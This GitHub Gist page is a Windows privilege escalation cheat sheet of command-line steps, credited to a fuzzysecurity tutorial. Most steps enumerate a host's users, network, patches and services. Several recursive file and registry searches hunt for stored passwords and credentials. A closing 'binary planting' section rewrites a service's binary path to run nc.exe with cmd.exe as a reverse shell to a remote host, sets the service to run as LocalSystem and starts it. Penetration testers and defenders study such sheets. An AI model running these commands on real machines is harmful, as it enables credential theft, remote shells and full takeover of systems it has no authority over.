GitHub Gist | Search… | All gists | Back to GitHub | Sign in | Sign up

Instantly share code, notes, and snippets.

sckalath / **windows_privesc**

Last active 10 days ago

★ Star 68 | Fork 37

Code | Revisions 2 | Stars 68 | Forks 37 | Embed ▾ | <script src="https://gi: | Download ZIP

Windows Privilege Escalation

windows_privesc | Raw

```
// What system are we connected to?
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

// Get the hostname and username (if available)
hostname
echo %username%

// Get users
net users
net user [username]

// Networking stuff
ipconfig /all

// Printer?
route print
```

```

// ARP-arific
arp -A

// Active network connections
netstat -ano

// Firewall fun (Win XP SP2+ only)
netsh firewall show state
netsh firewall show config

// Scheduled tasks
schtasks /query /fo LIST /v

// Running processes to started services
tasklist /SVC
net start

// Driver madness
DRIVERQUERY

// WMIC fun (Win 7/8 -- XP requires admin)
wmic /?
# Use wmic_info script!

// WMIC: check patch level
wmic qfe get Caption,Description,HotFixID,InstalledOn

// Search pathces for given patch
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.."

// AlwaysInstallElevated fun
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

// Other commands to run to hopefully get what we need
dir /s *pass* == *cred* == *vnc* == *.config*
findstr /si password *.xml *.ini *.txt
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

// Service permissions
sc query
sc qc [service_name]

// Accesschk stuff
accesschk.exe /accepteula (always do this first!!!!!)
accesschk.exe -ucqv [service_name] (requires sysinternals accesschk!)
accesschk.exe -uwcqv "Authenticated Users" * (won't yield anything on Win 8)
accesschk.exe -ucqv [service_name]

// Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\

// Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*

// Binary planting
sc config [service_name] binpath= "C:\nc.exe -nv [RHOST] [RPORT] -e C:\WINDOWS\System32\cmd.exe"
sc config [service_name] obj= ".\LocalSystem" password= ""
sc qc [service_name] (to verify!)
net start [service_name]

Mostly all of this taken from http://www.fuzzysecurity.com/tutorials/16.html
```